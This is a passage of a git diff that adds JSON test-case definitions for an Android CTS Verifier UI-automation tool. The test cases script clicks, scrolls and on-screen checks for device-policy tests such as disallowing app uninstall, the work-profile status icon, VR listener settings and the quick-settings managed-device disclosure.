kB\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":526.3333333333334,\"x2\":345.3333333333333,\"y2\":544.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"92.67 kB\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":492.0,\"x2\":345.3333333333333,\"y2\":558.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"CtsPermissionApp\"}],\"className\":\"android.widget.LinearLayout\",\"contentDesc\":\"CtsPermissionApp\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":492.0,\"x2\":360.0,\"y2\":558.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":131.0,\"y\":514.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":49.0,\"y\":11.333333333333258,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"f7f9cc52-8027-4643-b41b-8c37b0171ca3\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"CtsPermissionApp\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":65.0,\"y1\":497.0,\"x2\":197.0,\"y2\":531.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, CtsPermissionApp\",\"actionId\":\"996b4172-2413-4746-a6af-703bc1f0dd8a\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"CtsPermissionApp\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, uninstall button\",\"actionId\":\"81fcb024-74cd-4017-9a5b-1b6d22705a0a\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.settings:id/button2\"}],\"childrenIdList\":[\"44291145-6774-4ba3-9caf-731853cef58e\",\"cce7c724-2cf5-4776-9bf3-86c491dcd796\",\"cca1ba48-a894-47b5-afa6-21d2ef28bc8a\",\"5ee29e64-400f-4c6f-ba29-d9442740b560\",\"be00d800-5235-410e-a535-55a76d9200b9\",\"b1ac511d-9b7b-4a48-b600-5fe64dfcc3a4\",\"996b4172-2413-4746-a6af-703bc1f0dd8a\",\"81fcb024-74cd-4017-9a5b-1b6d22705a0a\",\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"8b18fc23-789a-4c41-9746-297a040e35a7\",\"da770381-d17c-48ca-8aba-def4338ef96b\",\"15aa571c-2e4d-43c0-b9c7-07b4f23041c4\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"15-16-Disallow uninstall apps","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.144000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/9e63b2da-d744-4a93-907f-3486c60407cb b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/9e63b2da-d744-4a93-907f-3486c60407cb
new file mode 100644
index 0000000..29d4ca6
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/9e63b2da-d744-4a93-907f-3486c60407cb
@@ -0,0 +1 @@
+{"uuid":"9e63b2da-d744-4a93-907f-3486c60407cb","details":"{\"type\":\"CompoundAction\",\"name\":\"05_Work status icon is displayed\",\"actionId\":\"9e63b2da-d744-4a93-907f-3486c60407cb\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Work status icon is displayed\",\"actionId\":\"3bbc4c1a-fbfe-4b2a-a65d-bfe791d1e5cb\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Work status icon is displayed\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"824bc59e-2db5-4347-ada3-98c82dac2bfa\",\"displayText\":\"Work status icon is displayed\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Work status icon is displayed\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":482.6666666666667,\"x2\":360.0,\"y2\":524.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":108.0,\"y\":507.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":72.0,\"y\":-3.3333333333333712,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"824bc59e-2db5-4347-ada3-98c82dac2bfa\",\"firstText\":\"Work status icon is displayed\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Work status icon is displayed\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":208.0,\"y1\":516.0,\"x2\":8.0,\"y2\":498.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Work status icon is displayed\",\"actionId\":\"9ff295af-5b07-4e7f-9a0b-f0adedaceed8\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Work status icon is displayed\"},{\"type\":\"PythonScriptAction\",\"name\":\"Check Work status icon is displayed\",\"actionId\":\"cdf96096-d8d5-423e-bb32-d688a89ac86a\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"pololee\",\"script\":\"from python_uiautomator.device import Device\\nfrom python_uiautomator.uicd_python_util import UICDPythonUtil\\n \\n\\nuicd_util = UICDPythonUtil()\\nd = Device.create_device_by_slot(0)\\nresult = d.resource_id(\\\"com.android.systemui:id/statusIcons\\\").content_desc(\\\"Work profile\\\").verify_exist()\\nuicd_util.assert_true(result, \\\"Element not found\\\")\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/button_finish\",\"actionId\":\"b9b69fa4-bf14-4cea-a7f1-b83601acfc71\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/button_finish\"}],\"childrenIdList\":[\"cf1e8e8c-2104-46f1-8b28-4d372b86fc49\",\"3bbc4c1a-fbfe-4b2a-a65d-bfe791d1e5cb\",\"9ff295af-5b07-4e7f-9a0b-f0adedaceed8\",\"b70fe893-88de-4879-90ab-c2929211baa8\",\"15c75efc-b173-4eed-9a2c-164886355c98\",\"cdf96096-d8d5-423e-bb32-d688a89ac86a\",\"31902e22-dd19-4a14-9a1f-5bca034bacd5\",\"b9b69fa4-bf14-4cea-a7f1-b83601acfc71\",\"11862730-912f-4b3c-99d6-cff28c749559\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"05_Work status icon is displayed","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.295000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/a0835500-a2a2-4908-a93e-522b12c44507 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/a0835500-a2a2-4908-a93e-522b12c44507
new file mode 100644
index 0000000..e7a98d2
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/a0835500-a2a2-4908-a93e-522b12c44507
@@ -0,0 +1 @@
+{"uuid":"a0835500-a2a2-4908-a93e-522b12c44507","details":"{\"type\":\"CompoundAction\",\"name\":\"15-18 Disallow config location\",\"actionId\":\"a0835500-a2a2-4908-a93e-522b12c44507\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[],\"childrenIdList\":[\"44291145-6774-4ba3-9caf-731853cef58e\",\"6f25a9fc-c4ab-4de4-ab9e-3df9737e1f1b\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"15-18 Disallow config location","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.146000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/a0c5135b-fa0e-4dc2-99be-662638d5c19e b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/a0c5135b-fa0e-4dc2-99be-662638d5c19e
new file mode 100644
index 0000000..6a3df62
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/a0c5135b-fa0e-4dc2-99be-662638d5c19e
@@ -0,0 +1 @@
+{"uuid":"a0c5135b-fa0e-4dc2-99be-662638d5c19e","details":"{\"type\":\"CompoundAction\",\"name\":\"test_VR Tests\",\"actionId\":\"a0c5135b-fa0e-4dc2-99be-662638d5c19e\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to \\\"VR Tests\\\"\",\"actionId\":\"13b60322-d097-4ee3-9d25-397d33740979\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"VR Tests\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"505c5bdf-4484-41c6-a044-9fd4d5c32147\",\"isUniqueResourceId\":false,\"children\":[],\"checked\":false,\"isCheckableNode\":false,\"isClickableNode\":false,\"enabled\":false,\"bounds\":{\"x1\":61.5,\"y1\":705.5,\"x2\":61.5,\"y2\":705.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":61.5,\"y\":705.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":61.5,\"y\":705.5,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":true,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"VR Tests\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":4.0,\"y1\":693.0,\"x2\":119.0,\"y2\":718.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, VR Tests\",\"actionId\":\"0a258629-6d59-4ec3-873b-a4a38785df10\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"VR Tests\"},{\"type\":\"PythonScriptAction\",\"name\":\"Enable VR helper services\",\"actionId\":\"5c08fa84-bef8-4f86-9906-6202f952bc2c\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"pololee\",\"script\":\"from python_uiautomator.device import Device\\n\\n\\nd = Device.create_device_by_slot(0)\\n\\nif d.text(\\\"CTS Verifier\\\").right().resource_id(\\\"android:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"false\\\").verify_exist():\\n    d.text(\\\"CTS Verifier\\\").right().resource_id(\\\"android:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"false\\\").click()\\n\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null},{\"type\":\"ConditionValidationAction\",\"name\":\"Press Allow\",\"actionId\":\"c430674b-d2bd-44a1-94ba-0234cf0d4843\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"actionDescription\":\"Press allow VR Listener for CTS Verifier\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"android:id/button1\"}]},\"clickAfterValidation\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"ba5f57ad-fd63-4886-9171-e5311e37c5e0\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"pololee\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"WaitAction\",\"name\":\"WAIT - 10 sec\",\"actionId\":\"be53c4c8-c188-499c-ac21-a1a647803586\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":10000,\"createdBy\":\"pololee\"},{\"type\":\"WaitAction\",\"name\":\"WAIT - 15 sec\",\"actionId\":\"88921366-c372-4345-97e7-0e530d2120f4\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":15000,\"createdBy\":\"pololee\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, CTS Verifier to disable VR Listener\",\"actionId\":\"0167402d-49a9-4259-b2dd-4c651ada299f\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"CTS Verifier\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"337ba925-c52f-43d7-a4fe-c7f714507221\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"pololee\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"13b60322-d097-4ee3-9d25-397d33740979\",\"0a258629-6d59-4ec3-873b-a4a38785df10\",\"1601f323-e824-4190-9ee0-350f0a1149ea\",\"04292ddc-e958-49b5-8fd7-a4dd0cf8ff43\",\"5c08fa84-bef8-4f86-9906-6202f952bc2c\",\"c430674b-d2bd-44a1-94ba-0234cf0d4843\",\"ba5f57ad-fd63-4886-9171-e5311e37c5e0\",\"04292ddc-e958-49b5-8fd7-a4dd0cf8ff43\",\"be53c4c8-c188-499c-ac21-a1a647803586\",\"04292ddc-e958-49b5-8fd7-a4dd0cf8ff43\",\"88921366-c372-4345-97e7-0e530d2120f4\",\"04292ddc-e958-49b5-8fd7-a4dd0cf8ff43\",\"0167402d-49a9-4259-b2dd-4c651ada299f\",\"337ba925-c52f-43d7-a4fe-c7f714507221\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"test_VR Tests","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.285000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/a1add8e6-5408-417e-942b-2663863fcdd6 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/a1add8e6-5408-417e-942b-2663863fcdd6
new file mode 100644
index 0000000..2cddf0a
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/a1add8e6-5408-417e-942b-2663863fcdd6
@@ -0,0 +1 @@
+{"uuid":"a1add8e6-5408-417e-942b-2663863fcdd6","details":"{\"type\":\"CompoundAction\",\"name\":\"15-17 &amp; 17-06-08-Disallow config date time\",\"actionId\":\"a1add8e6-5408-417e-942b-2663863fcdd6\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Disallow config date time\",\"actionId\":\"89cddcfd-7c74-4eb8-a159-578cad4bd232\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Disallow config date time\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"56bb3d32-7910-4e5d-98b0-9564cbd32135\",\"displayText\":\"Disallow config date time\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Disallow config date time\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":533.0,\"x2\":360.0,\"y2\":577.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":88.0,\"y\":556.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":92.0,\"y\":-1.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"56bb3d32-7910-4e5d-98b0-9564cbd32135\",\"firstText\":\"Disallow config date time\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Disallow config date time\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":1.0,\"y1\":541.0,\"x2\":175.0,\"y2\":571.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Disallow config date time\",\"actionId\":\"55bb29d4-417f-4230-9d61-00f334cf3a93\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Disallow config date time\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Use network-provided time\",\"actionId\":\"992fb836-0ae2-4d18-bac6-018cc8b79e88\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Use network-provided time\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"b651d2e6-761d-4986-9744-da3fda40c5fb\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"226d392f-1b52-412d-875d-26c8d373c88e\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"89cddcfd-7c74-4eb8-a159-578cad4bd232\",\"55bb29d4-417f-4230-9d61-00f334cf3a93\",\"5ee29e64-400f-4c6f-ba29-d9442740b560\",\"be00d800-5235-410e-a535-55a76d9200b9\",\"992fb836-0ae2-4d18-bac6-018cc8b79e88\",\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"8b18fc23-789a-4c41-9746-297a040e35a7\",\"b651d2e6-761d-4986-9744-da3fda40c5fb\",\"226d392f-1b52-412d-875d-26c8d373c88e\",\"15aa571c-2e4d-43c0-b9c7-07b4f23041c4\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"15-17 &amp; 17-06-08-Disallow config date time","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.146000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/a28853a0-0f2d-4148-807e-1387a6a31d3a b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/a28853a0-0f2d-4148-807e-1387a6a31d3a
new file mode 100644
index 0000000..bf7649d
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/a28853a0-0f2d-4148-807e-1387a6a31d3a
@@ -0,0 +1 @@
+{"uuid":"a28853a0-0f2d-4148-807e-1387a6a31d3a","details":"{\"type\":\"CompoundAction\",\"name\":\"16-15-Quick settings disclosure\",\"actionId\":\"a28853a0-0f2d-4148-807e-1387a6a31d3a\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Quick settings disclosure\",\"actionId\":\"d2247f32-bc99-43a5-b052-777c63392102\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Quick settings disclosure\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"48559b89-ebb9-42dc-b6ad-ac20e4bc4e8a\",\"displayText\":\"Quick settings disclosure\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Quick settings disclosure\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":8.666666666666666,\"y1\":566.0,\"x2\":351.3333333333333,\"y2\":608.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":105.5,\"y\":589.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":74.5,\"y\":-2.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"48559b89-ebb9-42dc-b6ad-ac20e4bc4e8a\",\"firstText\":\"Quick settings disclosure\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Quick settings disclosure\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":8.0,\"y1\":573.0,\"x2\":203.0,\"y2\":605.0},\"scrollOrientation\":2,\"scrollMaxNumber\":3},{\"type\":\"ClickAction\",\"name\":\"Click Action, Quick settings disclosure\",\"actionId\":\"6e8723b8-1dbb-47ea-ad2b-167f033ab810\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Quick settings disclosure\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify  that at the bottom of Quick Settings you  are told the device is managed\",\"actionId\":\"4e0b91d1-fe47-4ccc-b185-165903a0edde\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"This device belongs to your organization\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"a7a7ee21-ccb4-4d3b-b98d-36c047cce394\",\"displayText\":\"This device belongs to your organization\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"407e0c64-a07e-4e80-b682-fdb7f26fcc10\",\"displayText\":\"This device belongs to your organization\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.systemui:id/footer_text\",\"text\":\"This device belongs to your organization\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":73.66666666666667,\"y1\":366.6666666666667,\"x2\":265.3333333333333,\"y2\":381.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.5,\"y\":3.3333333333333712,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"This device belongs to your organization\"},{\"uuid\":\"33b372e8-5734-4f08-92d2-49c4a3d27837\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"com.android.systemui:id/footer_icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":272.3333333333333,\"y1\":366.6666666666667,\"x2\":286.3333333333333,\"y2\":380.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":59.666666666666664,\"y1\":354.3333333333333,\"x2\":300.3333333333333,\"y2\":393.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":169.0,\"y\":370.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":11.0,\"y\":3.3333333333333144,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"407e0c64-a07e-4e80-b682-fdb7f26fcc10\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"This device belongs to your organization\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":67.0,\"y1\":354.0,\"x2\":271.0,\"y2\":387.0}},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify that at the bottom of Quick Settings, you are told the device is managed by \\\"Foo, Inc\\\"\",\"actionId\":\"a86a9465-a6e4-4c7a-9db0-b210599cdba2\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"This device belongs to Foo, Inc.\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"a11be856-59db-4ae5-9294-25086cfcebed\",\"displayText\":\"This device belongs to Foo, Inc.\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"52433a5f-539d-4975-afa0-a73d991dcf75\",\"displayText\":\"This device belongs to Foo, Inc.\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.systemui:id/footer_text\",\"text\":\"This device belongs to Foo, 